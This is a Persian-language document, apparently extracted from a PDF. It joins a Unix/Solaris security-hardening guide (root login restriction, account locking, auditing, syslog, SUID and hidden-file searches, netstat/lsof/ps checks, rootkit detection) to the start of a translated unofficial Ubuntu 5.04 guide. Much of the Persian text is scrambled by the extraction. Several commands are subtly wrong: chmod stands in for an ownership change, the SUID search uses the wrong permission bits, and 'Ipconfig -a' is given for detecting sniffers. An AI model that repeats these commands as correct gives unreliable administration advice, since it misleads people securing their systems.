  :رده شده است وود آشسی هایی که توسط ارقام تعریف می در زیر حق دستر .شود اما به گروه و همه هيچ حق دسترسی داده نمی شود 
  

  ه خواندنزاجا  4        
  نوشتناجازه            2
  اجازه اجرا             1
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د از دستور        umaskمثلا اگر بخواهيد به گروه به صورت پيش فرض اجازه خواندن داده شود اما اجازه نوشتن و اجرا نداشته باشد بای

  ... استفاده کنيد و umask 027و اگر بخواهيد اجازه نوشتن را از گروه بگيرید باید از دستور .  استفاده شود 037
  

  : هم به صورت مقابل می باشد Chmodشکل کلی دستور 
  

  Chmode < Permission Number > < Path File > 
 
  

  Rootدسترسی 
 

ا    Rootدر سيستم یونيکس بالاترین سطح دسترسی در اختيار  اربر ب اری       Rootميباشد به طوری که وقتی ک د هر ک وارد شود می توان
ستم    . را محدود کنيم  Rootای خوب این است که ورود مستقيم با اکانت از این رو یکی از کاره     . انجام دهد    دیر سي ی م به دین ترتيب حت

ا دستور       Rootبرای ورود به  د ب ام   . شود   Root وارد اکانت  Su rootباید ابتدا با اکانت خودش وارد شود و پس از آن می توان ا انج ب
  .برسد   Rootسعی داشته به سطح دسترسی   User دهيد کدام ها تشخيصل  فای logاین کار خواهيد توانست با برسی 

  
وان در  ه     Linux & Solarisميت ود      Root  ورود ب دود نم سول مح ه کن ط ب ار در   . را فق ن ک رای ای ل     Solarisب فای

/etc/default/login    را به صورت زیر ویرایش کنيد:  
  

#Info Console is set , root can only logon the device . 
#Command this line out to allow remote login by root  
# 
Console=/dev/console 

 
ه    د ورود ب ور ميکن ستم را مجب ار سي ن ک ط در کن Rootای د سفق از باش ل    . ول مج رایش فای ا وی وان ب ی ت دی را م ين پيکربن هم

/etc/secureTTY    درLinux    این فایل ليستی از . انجام دادTTY      ه تفاده    Rootهایی است که می توان از آنها جهت ورود ب اس
  . کرد 

  
  
  

  حفاظت در برابر سر ريز شدن بافر 
  

ه امکان اجرای دستورات          Solaris. یکی از آسيب پذیریهای خطرناک در هر سيستم سر ریز شدن بافر است  د ک ه می ده روشی ارائ
Stack  های زیر را به فایل  برای انجام این کار سطر.  برد را در حمله سر ریز کردن بافر از بين می  /etc/system   يم اضافه می کن

:  
  

Set    noexec_user_stack=1 
Set    noexec_user_stack_log=1 

 
  .جلوگيری می کند و سطر دوم تلاش های انجام گرفته را ثبت می کند    Stackسطر اول از اجرای دستور 

  
ه از         . اجرا شود   Stackا نياز است دستورات در برخی برنامه ه: توجه  • ن برنام د ای ام دهي وق را انج رات ف ابراین اگر تغيي بن

  ) .می کند  Crash ( کار خواهد افتاد 
  

  های غير مفيد  Userغير فعال کردن 
  

ستم هيچ     ام.  یونيکس تعدادی اکانت ایجاد می کند که برای موارد مختلف از قبيل مالک فایلهای خاص نياز می شود                  ه سي رای ورود ب ا ب
ل    Listenو  Sys , uucp , nuucp این اکانت ها عبارتند از . وقت استفاده نمی شود  ا فای  به منظور جلوگيری از ورود با این اکانت ه

/etc/shodow  را به صورت زیر پيکربندی کنيد:  
  

Bin:*LK*:10960:0:99999:7::: 
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denemo:*LK*:10960:0:99999:7::: 
adm:*LK*:10960:0:99999:7:::  
lp:*LK*:10960:0:99999:7::: 
shutdown:*LK*:10960:0:99999:7::: 
sync:*LK*:10960:0:99999:7::: 
Mail:*LK*:10960:0:99999:7:::          
news:*LK*:10960:0:99999:7::: 
uucp:*LK*:10960:0:99999:7::: 
opcrator:*LK*:10960:0:99999:7::: 
gopher:*LK*:10960:0:99999:7::: 

 
اکانت کاربر معمولی دارای کلمه عبور رمز . بخش اول اکانت و بخش دوم کلمه عبور آن است . هر سطر از دو بخش تشکيل شده است       

اراکتر         . شده می باشد    د بخش دوم شامل ک ه هيچ وقت اجازه ورود ندارن اراکتر  . ميباشد  " * " در مورد اکانت هایی ک ا هيچ   " * " ک ب
ازه ورود  ه ورودی اج هکلم دارد ب شکند  هن د آن را ب ل کسی نمی توان ين دلي د . م ارتی همانن رار دادن عب ا ق د و *  LK*ب ه طور مفي ب

  )است   Lock مخفف کلمه LK( مختصر قفل بودن این اکانت بيان ميشود 
  

  مديريت کاربر 
  

ستم دارد   مدیریت کاربران و روابط بين آنها نقش حياتی در امنيت کامپيوتریهمانند تمام سيستم های    د پروسه     . کلی سي هر سازمانی بای
ستم داشته باشد شرح داده شده                . مدیریت کاربر داشته باشد      ه سي اربری تقاضای دسترسی ب در این پروسه مراحل لازم برای زمانيکه ک

  علاوه بر این،در این پروسه مراحل لازم برای مواقعی که یکی از پرسنل سازمان را ترک ميکند. است 
  
يد    . در بخشهای بعدی توصيه هایی در مورد مدیریت کاربران در سيستم یونيکس ارائه شده است      .  می شود     داده حشر بخاطر داشته باش

  . سيستم یونيکس انواع زیادی دارد ابزار هایی هم که برای مدیریت کاربر استفاده می شود در نسخه های مختلف متفاوت است 
  

  افزودن کاربر به سيستم 
  

  :وظایف اصلی این ابزارها عبارتند از . ارهایی برای افزودن کاربر به سيستم ارائه شده است زخه های یونيکس ابدر اکثر نس
  

  Passwordافزودن نام کاربر به فایل  •
  User IDتعيين و اختصاص شماره  •
   Group IDتعيين و اختصاص شماره  •
  مناسب برای ورود  Shellين يتع •
  Shadowافزودن نام کاربر به فایل  •
  اختصاص کلمه عبور مناسب اوليه  •
  )یعنی نام مستعار   Alias( مناسب برای پست الکترونيک  Aliasتعيين  •
 ایجاد دایرکتوری خانگی برای هر کاربر  •

  
  :حال به تشریح هر یک از این وظایف می پردازیم 

  
  

  : Passwordافزودن نام کاربر به فايل 
  

اربر   .  است که به سيستم تعلق دارند شامل ليست کاربرانی etc/passwd/فایل  ام ک اربر دارای ن ه حداکثر از     ی یهر ک ایی است ک    8کت
اربر     passwd ای هر رکوردی که در فایل زبه ا. کاراکتر تشکيل شده است  ثبت می شود اطلاعات بيشتری نيز درباره هویت واقعی ک

  .  است بکار می رود ثبت می شود که برای شناسایی فردی که در قبال آن اکانت مسئول
  
  

  : User IDتعيين و اختصاص شماره 
  

.  باید در سيستم یکتا باشد UID.  گفته ميشود UID مناسب اختصاص داده ميشود که به اختصار User IDبه هر نام کاربر یک شماره 
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وان       است  Root برای اکانت  ٠از آنجا که عدد     .  انتخاب شود    ١٠٠ کاربر بزرگتر از     UIDعموما باید    ه عن اه ب ن رو هيچ گ  UIDاز ای
 برای چند اکانت UID استفاده می کند از این رو استفاده مشابه یک UIDسيستم برای شناسایی فایلهای روی سيستم از   . انتخاب نميشود   
  .توصيه نميشود 

  
  

  : Group IDاختصاص شماره 
  

کاربران عادی . اختصاص دهيد   etc/passwd/م کاربر در فایل این شماره را به نا. لازم است هر کاربر دارای یک گروه اصلی باشد 
   .  باشند چون این گروه برای مقاصد مدیریتی استفاده ميشود Wheelنباید عضو گروه 

  
  
  :مناسب برای ورود   Shellين يتع
  

ه او یک    ) Interactive( وقتی کاربر تعاملی  ه در حالت عادی     داده شود  Shellقصد ورود به سيستم را دارد باید ب  , csh , Bashک
Ksh   جزو Shell          ونيکس هستند ستم  ی ه              .  های سي شود ک ه ای داده مي ستم شوند برنام د وارد سي ه نبای اربرانی ک ه ک ه  .  نيست  Shellب ب

ق                     ه از طری رد ک وان اشاره ک اربرانی می ت ه ک املی ب ام های پست الکترونيک خود ر     IMAP و Pop3عنوان مثال از کاربران تع ا  پي
د            کنترل ميکنند لذا می توان امکان تعویض کلمه عبور         راهم نمایي املی ف ه صورت تع اربر یک      . شان را ب رای ک ن حالت ب  Shellدر ای

ل          ه در فای د ک ستم       .  می باشد   bin/passwd/تعریف می کني ه سي اربران ب ورش را      Telnetهر وقت یکی از ک ه عب د کلم د می توان  کن
  .خارج شود  Shellات از آن عوض کند و پس از تکميل عملي

  
  

   :Shodowافزودن نام کاربر به فايل 
  

ه                 etc/passwd/از آنجا که فایل  ا شکستن کلم د ب ا کسی نتوان ره شود ت ور در آن ذخي د کلمات عب ذا نبای ه است ل قابل خواندن توسط هم
راین  . ذخيره ميشوند  etc/shadow/عبور وارد سيستم شود کلمات عبور در فایل  ا ب ل      بن ه فای اربر ب ام ک ان ن زوده   etc/shadow/ هم اف

  .ميشود 
  
  

  :اختصاص کلمه عبور مناسب اوليه 
  

رار                 . بعد از ایجاد اکانت برای کاربر باید کلمه عبور اوليه برای آن تعيين شود                تفاده ق ورد اس اربر م زودن ک رای اف ه ب ایی ک اکثر ابزاره
رای    Passwdدر غير این صورت با نام کاربر وارد شوید و از دستور   . گذارند می گيرند آرگومانی برای این منظور در اختيار می  ب

رای                  . تغيير کلمه عبور استفاده کنيد       ه ب ور اولي کلمه عبور اوليه باید بگونه ای باشد که حدس زدن آن آسان نباشد و بهتر است که کلمه عب
د و           ه  کاربران استفاده شود امکان دارد م      اگر از کلمه عبور یکسان برای همه      . تمام کاربران یکسان نباشد      تفاده از اکانت جدی ا اس اجمی ب

  .قبل اینکه کاربر قانونی از اکانت خود استفاده کند وارد سيستم شود و کلمه عبور را عوض کند 
  
  

  :مناسب برای پست الکترونيک  Aliasتعيين 
  

اربر    . خواهد داشت  Username@Hostبه شکل وقتی کاربری ایجاد ميشود به طور خودکار یک آدرس پست الکترونيک  حال اگر ک
د        تفاده کن رای آدرس پست الکترونيک خود اس تفاده از     . بخواهد ی تواند از یک نام مستعار ب ا اس ار ب ن ک ام    Email Alias ای ل انج قاب

  :است فرمت این فایل به صورت زیر . را ویرایش کنيد  etc/alliases/برای این منظور باید فایل . است 
  

Alias: Username 
  

  .اسجاد شود  Alias.dbرا اجرا کنيد تا فایل  newsAliasesایجاد شود برنامه  Aliasبعد از اینکه 
  
  

 :ايجاد دايرکتوری خانگی برای هر کاربر 
  

ل  . برای هر کاربر باید یک دایرکتوری خانگی ایجاد شود  شود    etc/passwd/این دایرکتوری در فای از آنکه در محل   پس  . تعریف مي
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ه معمولا در شاخه           اد شود ک اربر ایج وری خانگی ک ستم دایرکت ا   home/مناسبی روی سي وری را     export/ی رار دارد،مالک دایرکت ق
  : مالک فایل خواهد بود هابا استفاده از دستور زیر کاربر مورد نظر تن. عوض کنيد 

  
Chmod < Username > < Directory name> 

 
  

   روی سيستم حذف کاربر از
  

از نداشته باشد                            ن ني وقتی کاربری سازمان را ترک می کند و یا به جای دیگری منتقل ميشود بطوریکه به اکانت کاربری خود پيش از ای
بنا براین اگر  . کاربر است  UIDهای کاربر ل در سيستم یونيکس مالک تمام فای .لازم است پروسه مدیریت کاربری مناسبی دنبال شود 

UID شود   ل اربری برای کاربر جدید استفاده شود کاربر یا اکانت جدید مالک تمام فایک دیمی مي يش      .های کاربر ق اربر ب ی ک اصولا وقت
رای ای  . از این به اکانت نياز نداشته باشد باید اکانت را قفل کرد  ل   ن ب ار در فای ه عب    etc/shodow/ک ارت    وکلم ا عب اربر ب  *LK*ر ک

شود  ایگزین مي د ا. ج ببع انی مناس ود )  روز ٣٠معمولا  ( یز مدت زم اربر را حذف نم ای آن ک وان فایله دین ٣٠مهلت . می ت  روز ب
  .های مورد نياز سازمان را در محل مناسبی کپی کنند ل منظور است که مدیریت کاربران در این مدت فای

  
  

  مديريت سيستم 
  

 کردن سطوح مناسبی از ورود و نظارت بر سيستم برای یافتن فعاليت های      شامل برقرار ) از لحاظ امنيتی    ( مدیریت سيستم در یونيکس     
ه می           .  هستيد ارائه می دهد       آن سيستم یونيکس اطلاعات خوبی درباره آنچه به دنبال       . مشکوک ميباشد    البته ابزار هایی هم وجود دارد ک

  .توان برای شناسایی فعاليت های مشکوک از آنها استفاده کرد 
  

  م بازرسی سيست
  

ار                                        افی در اختي دار ک ه مق ی را ب وان اطلاعات امنيت ه می ت ه شده است ک ه نگاری یکسانی ارائ در اکثر نسخه های یونيکس سيستم واقع
شود   سبا این حال در برخی از موارد به اطلاعات بيشتری از بازر. بگزارد  از مي ن منظور     Solaris. ی ني رای ای  Basic Securityب

Module    رد ه ک ه اختصار     را ارائ ه ب شود   BSMه است ک ه مي ه          BSM . گفت اربر ب ه ک ال نيست و در صورتی ک در حالت عادی فع
  .اطلاعات بيشتری نياز داشته باشد آن را راه اندازی می کند 

  
داز      . را اجرا کنيد   etc/security/bsmconv/، اسکریپت   BSMبه منظور فعال کردن  ار پروسه بازرسی را راه ان ن ک ی اگر چه ای

شود    etc/security/dudit_control/پيکر بندی بازرسی در فایل . سيستم دارد  Rebootميکند اما نياز به  اطلاع کامل در   . تعيين مي
د          دا کني ای آن پي وان در صفحات راهنم ل را می ت ن فای ورد ای دین منظور دستور     (م د   man audit_controlب رای   ) را اجرا کني ا ب  ام

  :را در نظر بگيرید شروع پيکر بندی زیر 
  

#identify the location of the audit file directory 
dir. <Directory> 
#identify the file system free space percentage when a warninig should occur 
minfree=20 
#flag for what to audit. this example audit login administrator 
#function and failed file reads, write and attribute changes 
#this set of flag the system to also audit login and administrator 

 
شود       ردآوری گزارشات بازرسی شروع مي تفاده از دستور    . پس از پيکره فایل گ ا اس وان فای    Audit -nب ه گزارشات    لمی ت وط ب  مرب

ل بازرسی از دستور      .  را شروع کرد بازرسی فعلی را بست و فایل جدیدی وای فای   <Praudit <Audit file nameبرای مرور محت
  .استفاده کنيد 

  
  

  ها ل  فايلوگ
  

ه نگاری بکار می رود           SysLogدر اکثر نسخه های یونيکس ابزار های نسبتا جامعی در رای واقع ه ب   SysLog. فراهم شده است ک
ل    SysLog. ام گرفته،اطلاعات را ثبت می کند قابليتی است که هنگام پيکربندی انج ق فای دایت    var/adm/log/messages/از طری ه
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  :درستی پيکربندی شده باشد باید دستور پيکربندی زیر در آن لحاظ شده باشد ه ب SysLog.comfاگر . ميشود 
  

auth.info    /var/log/auth.log 
 

رای   دستور فوق به یونيکس می گوید اطلاعات مربوط به ه ب ا       Login , su , reboot تلاش های صورت گرفت رتبط ب ایع م و دیگر وق
  : به منظور جمع آوری اطلاعات زیر ایجاد شده باشد var/log/auth.log/مطمئن شوید فایل . امنيت را جمع آوری کند 

  
#touch    /var/log/auth.log 
#chown  /var/log/loglauth.log 
#chmod /var/log/loglauth.log 

 
ه   var/adm/loginlog/می توان با ایجاد فایل   Solarisدر  د       ب تلاشهای اشتباهی ک ز ثبت نمایي ه است را ني . رای ورود صورت گرفت

  :فایل مذکور را به صورت زیر ایجاد کنيد 
  

#touch           /var/adm/loginlog 
#chmod 600  /var/adm/loginlog 
#chown root /var/adm/loginlog 
#chgrp sys   /var/adm/loginlog 

 
د    ل باید فضای کافی داشته باشد تا لوگ فای var/دایرکتوری  ا را جمع آوری کن شن    var/اگر  . ه رار داشته باشد و لوگ     /روی پارتي  ق

وری  لذا بهتر است دا. وجود دارد   rootامکان اشغال شدن فایل سيستمهای  ، های جمع آوری شده خيلی بزرگ باشدل فای در   var/یرکت
 .مکان دیگری قرار داشته باشد 

 
  
  های مخفی ل فاي
  

ا   lsدستور استاندارد . فایلهای مخفی توان ایجاد مشکل برای سيستم یونيکس را دارند  ه ب  شروع شده است    " . " نمی تواند فایلهایی را ک
د     ls -aاما دستور . نمایش دهد  ای مخفی فعاليت خود را          هکر . تمام فایلهای مخفی را نمایش می ده تفاده از فایله ا اس د ب ه ان ا آموخت  ه

د                          . مخفی سازند    ل را مخفی کن يله آن فای ه وس د و ب رار ده وری مخفی ق رای  . به طور مثال هکر می تواند فایل خود را در یک دایرکت ب
رار    Spaseدر نام این دایرکتوری کاراکتر اگر بعد از سومين نقطه . ناميده شود جلب توجه نمی کند  " ..." مثال اگر یک دایرکتوری  ق

وری سخت می شود مگر اینکه از وجود      )( "  ... "داده شود   يد     Spaseبرسی آن دایرکت وری اطلاع داشته باش ام دایرکت ا . در ن ب
  :ها و دایرکتوری های مخفی را روی سيستم خود پيدا کنيد ل استفاده از دستور زیر می توان تمام فای

  
#find  /  -name  ".*" -ls 

 
د        lsهم استفاده کرد اما استفاده از   Printاز   lsاگر چه می توان به جای  رار می ده ل ق لازم . اطلاعات جزئی تری در باره مکان فای

  .است این دستور به صورت دورهای اجرا شود و وجود فایل های مخفی مورد برسی قرار گيرد 
  
  

   SGIDو   SUIDفايلهای 
  

د   GIDیا   UIDدارد مجاز است در حين اجرای فایل   SetGroup ( SGID )و   SetID ( SUID ) که اجازه فایلی خود را تغيير ده
ا در                      .  برخی فایلها برای انجام کار به این کار نياز دارند اما لازم است فقط تعداد محدودی فایل دارای این قابليت باشد و هيچ یک از آنه

  :را پيدا کنيد   SGIDو  UIDبا استفاده از دستور زیر تمام فایلهای . ر قرار نداشته باشد دایرکتوری خانگی کارب
  

#Find  /   -type  f -perm  -0400  -ls 
#Find /    -type  f -perm  -0200  -ls 

 
دوره ای اجرا و نتایج حاصله با این دستورات باید به طور  . وقتی سيستمی ساخته ميشود باید دستورات فوق اجرا و نتایج آن ذخيره شود              

  .ليست مقایسه شود و هر گونه تغيير مورد برسی قرار بگيرد 
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  )World – writable File(فايلهای جهان نويس 

  
ل اسکریپت             هم. یکی دیگر از پتانسيل های ضعف پيکربندی در سيستم یونيکس فایلهای جهان نویس است                وع فای ن ن د در ای اجم می توان

د  ه جهان نویس باشند مSGIDو  UIDاگر فایلهای . و در صورت اجرا از آسيب پذیری موجود بهره برداری کند   ایجاد کند    اجم می توان
  :با اجرای دستور زیر فایل های جهان نویس را پيدا می کنيد . امتياز زیادی برای خود ایجاد کند 

  
#Find  /  -perm  -2  -type  f  -ls 

  
  .طور دوره ای اجرا شود تا تمام فایلهای جهان نویس روی سيستم مکان یابی شود لازم است این دستور به 

  
  

  جستوجوی علائم مشکوک 
  

ای  ( تا اینجا به چند علامت اشاره شود که یافتن آن در سيستم می تواند بر وجود آسيب پذیری یا محاجم دلالت کند   SGIDو  UIDفایله
  .جود دارد که می توان سيستم یونيکس را از نظر فعاليتهای مشکوک برسی کرد چند راه دیگر و) . و فایلهای جهان نویس 

  
  

  :حالت بی قائده 
  

رار دارد   )کارت های شبکه ( روی سيستم عمل می کند واسطه ای  Snifferزمانی که    ده ق ده     Sniffer.  در حالت بی قائ و کنن ی ب ه معن  ب
ر می دارد           با قر  Sniffer. ای است که به دنبال اطلاعات می گردد          . ار دادن واسطه ای در حالت بی قائده تمام اطلاعات روی سيم را ب

رار دارد دستور     ده ق ه صورت      Ipconfig -aاگر هنگامی واسطه در حالت بی قائ  گزارش داده  Promisc صادر شود،حالت واسطه ب
  .  است Snifferميشود و همين نشانه از فعال بودن 

  
  

Netstat :  
  

 Netstatاین دستور به صورت . مامی ارتباطات شبکه ای که روی سيستم یونيکس پذیرفته شده است را نمایش ميدهد  تNetstatبرنامه 
-an   آرگومان . استفاده ميشودN" "    ه آدرس های د ک د     IPبه برنامه می گوی ه نکن ه ای از خروجی حاصل را     . را ترجم ر نمون در زی

  :می بينيد 
  

#netstat -an 
 
 Active Internet Connection ( servers and Stablished ) 
 
Proto    Recv-()    send-()    Local Address        foreign Address     state 
TCP         0            0          0.0.0.0 1000          0.0.0.0:*              LISTEN 
TCP         0            0          0.0.0.0 25              0.0.0.0:*              LISTEN 
TCP         0            0          0.0.0.0 515            0.0.0.0:*              LISTEN 
TCP         0            0          0.0.0.0 98              0.0.0.0:*              LISTEN 
UDP         0            0          0.0.0.0 517            0.0.0.0:*               LISTEN 
UDP         0            0          0.0.0.0 111            0.0.0.0:*               LISTEN 
raw         0            0          0.0.0.0 6                0.0.0.0:*               LISTEN 

 
ارت      چنانچه در خروجی ف ه عب د هر سطری ک و        LISTENوق می بيني ه آن پ ه برنام ی آن است ک ه معن ه آن   ردارد ب ه و ب ت را پذیرفت

تم شده است         Local Addressآدرس هایی که در ستون . گوش می دهد  ی خ ورت محل تفاده از   . نشان داده شده است به شماره پ ا اس ب
ی          .  داد   پورت می توان داخلی یا خارجی بودن ارتباط را تشخيص          ورت محل ه شماره پ ه      ٢٣برای مثال اگ ی ب اط داخل شانگر ارتب  باشد ن

Telnet   باشد نشانگر ارتباط ٢٣ و شماره پورت خارجی ١٠٣۵اگر شماره پورت محلی . است Telnet   خارجی است.  
  

اط     آریافتن ف. یندی پورت را باز نگه داشته است آآن است که نمی گوید چه فر   Netstadیکی از مشکلات     ورت خاص ارتب ه از پ یندی ک
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ه دستور     . وجود دارد که این اطلاعات را ارائه می دهد lsof  برنامه ای به نام. برقرار کرده است کار سختی است  پس از نصب برنام
lsof -i   اطلاعات زیر را ارائه می کند:  

  
#lsof -i 
Command   PID   User   FD   Type   Device Sise   Nod Name 
 
Portmap     311   root    4u   IPV4         301         UDP*:Sunrpc 
Inetd          439   root    6a   IPV4         427         TCP*:FTP(LISTEN) 
Sendmail    578   root    7u   IPV4         495         TCP*:SMTP(LISTEN) 

  
د از آدرس      ه را می تواني د   ftp://vic.cc.purdue.edu/pub/tools/unix/lsofاین برنام ده      . دریافت کني ایج خروجی دی چنانچه از نت

د         آتمام پورتهای باز و فر  Lsofميشود دستور  ایش می ده از نگه داشته است نم ورت را ب د چه       . یندی که پ ه هر فراین ئن شوید ک مطم
ایش          Lsofبرنامه  .کاری انجام ميدهد و چرا پورت را باز نگه می دارد  ورت را نم ام پ ورت در ستون سمت راست ن به جای شماره پ

  . وجود داشته باشد etc/Services/البته به شرطی که نام آ در فایل . می دهد 
  
  

  PSدستور 
 

د      آها و فر Processاین برنامه تمام  شان می ده ستم را ن ال روی سي ام جستوجوی     . یندهای فع ار هنگ ن ک ادی     Snifferای ا اهميت زی ه
ونيکس دستور     . را آشکار کنند  Snifferنتوانند  Netstatو  lsofدارد زیرا ممکن است برنامه های  ستم های ی ام  ps -efدر اکثر سي  تم

Process   ن دستور اجرا نمی شود دستور                 . یندهای فعال روی سيستم را نشان می دهد         آها و فر اگر در برخی از نسخه های یونيکس ای
ps -aux  نتایج دستور . يد را امتحان کنps  به شکل زیر است:  

  
#ps -ef 
 
UID    PID   PPID   C    STIME    TTY    TIME       CMB   
root    1          0         0     13:00       ?       00:00:04    Kpiod 
root    2          1         0     15:38       ?       00:12:30    kflushd 
Bin     311      1         0     12:30      tty1   01:02:35    portmap 

 
تفاده از دستور      ام            Psبا اس ه طور دوره ای ليست تم شخيص                       Processب ل ت ر قاب ورد غي ه م د و اگر ب ستم را برسی نمایي های روی سي

  .برخوردید آنرا دنبال کنيد 
  
  
  ير يافته يهای تغل فاي
  

های سيستمی،امکان دسترسی پيوسته به سيستم را برای خود فراهم کند ل ستم نفوذ کرد سعی می کند با تغيير فای      اجم به سي  هپس از آنکه م   
ه اکانت   ه چون امکان ادامه دسترسی م . ناميده می شوند  RootKitبرنامه هایی که فایلهای سيستمی را جایگزین می کنند  .   Rootاجم ب

  :جایگزین برنامه های باینری زیر باشد  RootKitها ، ممکن است Snifferی مانند علاوه بر برنامه های .را فراهم می کند 
  

PS 
NetStat 
Login 
Paswwd 
Inetd 
SSH 
Telnet 
FTPd 

 
ر       . اساسا هر برنامه قابل اجرایی که بتواند به طریقی به دسترسی مهاجم کمک کند تغيير داده می شود                    شخيص تغيي بهترین روش برای ت

 ساخته  checkSumت سيستم برای تمامی فایلهای سيستمی       خاسبهترین کار آن است که به هنگام        . مز نگاری است     ر Checksumفایل  
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ه روز شود   Checksumشود و هر بار که برنامه مکمل به سيستم اضافه می شود            د     را روی س Checksum.  ب ی نگه داری ستم امنيت ي
اره محاسبه    Checksumبه تحت نفوذ قرار گرفتن سيستمی مشکوک هستيد   اگر نسبت   .اجم نتواند آن را تغيير دهد       هبطوریکه م  را دوب

ل               اگر . نمایيد و آن را با مقدار اوليه مقایسه کنيد       ه فای اوت ب شاهده تف ا در صورت م شده است ام ا دستکاری ن ادیر یکسان است فایله مق
ن                    (.يد  اعتماد نکنيد و آن را با فایل اصلی که از ابتدا داشته اید جایگزین کن               ی ای ه حت انيم ک ل بپک ه فای ه چگون اد دادم ک خوب من به شما ی

د                پارامتر هم اثر نکند ، اگر سيستم خود شک اساس دارید هارد خود را از نو پارتيشن بندی کنيد و آنگاه دوباره سيستم خود را نصب کني
  !)، این بهترین راه است 

  
  
  
  
 

وکس            ا                    ر Ubutnuخوب در این قسمت آموزش کامل لين ه حذف ی دون هيچ گون ه شده است را ب ور تهي ای مهدی حسن پ ه توسط آق ا ک
  اضافه ای می آوریم ، با آرزوی موفقيت برای این شخص پر کار  

  
  

 Ubuntu 5.04راهنمای غير رسمی کاربری 

  
  org.ubuntuguide.Ir://http: آدرس اینترنتی

   Chua Wen Kiat Malaysia, Kuala Lumpur: نویسنده 

  مهدی حسن پور: برگردان فارسی، تصحيح و برخی حذف و اضافات 
   com.blogspot.opmdream://http: وبلاگ من 

   

  با تشکر. ننمایيدلطفا جهت حمایت از نویسندگان این مستندات و راهنمایی ها، ما را از هدایای خود محروم 
  
  

  !!گواهی رفع ادعا 
  

2005-2004) C(Copyright  org.ubuntuguide.www://tpht   

شوند       شر مي املا آزاد و رایگان منت ستندات ک ن م ه        . ای ا را مجددا تحت اجازه نام د آنه  GNU General Public Licenseشما ميتواني
  . توسعه دهيد و یا تغييراتی در آن ایجاد نمایيد

ستندات     این  مستندات با اميد به اینکه برای شما کاربر گرامی قابل استفاده و مفيد باشد تهيه و توسعه ميابد ولی توجه داشته باشيد که این م
 را مطالعه GNU General Public Licenseلطفا جهت اطلاع از جزئيات بيشتر اجازه نامه . بدون هرگونه ضمانت منتشر شده است

  .بفرمایيد

  نکات عمومی
روژه اصلی        Ubuntuاین یک راهنمای غير رسمی از  .١ ا پ اطی ب ه ارتب  Canonial Ltd و شرکت  Ubuntu است و هيچ گون

  .ندارد
ا اسم رمز   Ubuntu 5.04 x86این راهنما همين گونه که هست بر روی یک نسخه کامل نصب شده   .٢  Hoary Hedgehog  ب

  .نصب و تست شده است
ال            .٣ يط ترمين د در مح ه بای ت ک ن معناس ه ای د، ب گ ميبيني شکی رن ای م ستطيل ه ه در م ایی ک سمت ه > -Applications(ق

SystemTools - <Terminal (اجرا شوند.  
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شود دستو        .٤ ی    جهت جلوگيری از اشتباهات تایپی احتمالی توسط شما در هنگام تایپ دستورات، توصيه مي رات نوشته شده را کپ
  .درج نمایيد و در محيط ترمينال کرده

٥. "sudo "   ان  . به این معنی است که کاربر مدیر سيستم با بالاترین سطح دسترسی، دستوری را اجرا ميکند  از sudoاجرای فرم
  .یيدلطفا کلمه رمزی را که در زمان نصب به سيستم داده اید اینجا وارد نما. شما کلمه رمز خواهد پرسيد

ه   sudo -s -Hبرای شما خسته کننده است با یک بار اجرای فرمان " sudo"در صورتی که هر بار تایپ کردن  .٦ راه کلم  به هم
  .رمز به کاربر با حق دسترسی بالاترین سوئيچ کنيد

ا کمک     برای شما خسته کننده است بخش    get-aptدر صورتی که هر بار تایپ کردن         .٧ ه ب ر   Synapticچگون اده ت  get-apt س
  .را مطالعه نمایيد کنم

زاری                   " wget"و  " apt-get"فرمانهای   .٨ رم اف سته های ن ود ب ا دانل د نمودن ی رای نصب ، روزآم ه اینترنت ب ه اتصال ب از ب ني
  . دارند

د و سپس     برای دانلود کردن یک فایل، در محيط مرورگر خود ب .٩ " save link as"ر روی لينک مورد نظر راست کليک نمایي
  .مطمئن شوید که نام فایل و آدرس دانلود آن صحيح است. را انتخاب نمایيد

  . مکاتبه نمایيد )h.mehdi AT gmail DOT com( ایميل من جهت انتقال نظرات، پيشنهادات و انتقادات ميتوانيد با آدرس  .١٠
بهينه شده، لذا اگر این فونت در سيستم شما موجود نميباشد، جهت     Tahomaحه برای مشاهده با فونت    توجه نمایيد که این صف     .١١

  .در پوشه فونتهای سيستم خود اضافه نمایيد  راTahomaمشاهده بهتر این صفحه فونت 
ا        ،ممکن است برخی ابزارهای محيط چندرسانه ای به درستی کار نکنند           .١٢ تفاده از ابزاره انه ای      لطفا قبل از اس د رس ی محيط چن

  . را مطالعه نمایيد پيکربندی کنمGNOMEچگونه صدای سيستم را برای کار به صورت بهينه در بخش 
  . است همواره همراهتان باشدUbuntuبا اميد به اینکه حس زیبای انسان دوستی که شعار  .١٣

  

  فهرست موضوعات و مطالب

  شروع

١. Ubuntuچيست ؟   
   را ببينم ؟Ubuntuکجا ميتوانم تصاویری از محيط  .٢
   نصب ميشوند را ببينم ؟Ubuntuکجا ميتوانم نام بسته های نرم افزاری که همراه  .٣
٤. CD های Ubuntuرا از کجا دریافت کنم ؟   
   را به صورت رایگان سفارش دهم؟Ubuntu های CDکجا ميتوانم  .٥
   بگردم ؟Ubuntuکجا باید دنبال مستندات و راهنماهای  .٦

  Ubuntuدريافت اين راهنمای 

   را به صورت کامل دریافت کنم ؟Ubuntuچگونه این راهنمای  .١

  )Repositories(مخازن اصلی دريافت بسته های نرم افزاری 

   را اضافه کنم ؟Ubuntuچگونه مخازن اضافی برای دریافت بسته های نرم افزاری تکميلی  .١
  مخازن دریافت شده نسخه پشتيبان تهيه کنم ؟چگونه از  .٢

  Ubuntuبروزآوری های 

   را روزآمد نمایم ؟Ubuntuچگونه به صورت دستی  .١

  بسته ها و نرم افزارهای تکميلی

   نصب کنم ؟GNOME جهت ویرایش منوها را برای Menu Editorچگونه برنامه  .١
   نصب کنم ؟GNOME را برای Clipboard daemonچگونه برنامه  .٢
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زاری  .٣ رم اف سته ن ه ب ا  JAVA) ronmentSE Runtime Envi2J(چگون راه ب رای in-Plug هم ب ب  Mozilla مناس
Firefoxرا نصب کنم ؟   

   را نصب کنم ؟Mozilla Firefoxدر ) Macromedia Flash( مناسب برای نمایش فایلهای فلش in-Plugچگونه  .٤
ا   Adobe Reader(PDF(فایلهای چگونه بسته نرم افزاری خواندن  .٥ رای   in-Plug همراه ب  را Mozilla Firefox مناسب ب

  نصب کنم ؟
  را نصب کنم ؟ ) Downloader for X(چگونه بسته نرم افزاری مدیریت دانلود  .٦
   را نصب کنم ؟ gFTP(FTP(ده های چگونه بسته نرم افزاری مدیریت و ارتباط با سرویس دهن .٧
   را نصب کنم ؟Azureus(P BitTorrent 2P(چگونه بسته نرم افزاری ارتباط با  .٨
   را نصب کنم ؟aMule(P eMule 2P(چگونه بسته نرم افزاری ارتباط با  .٩
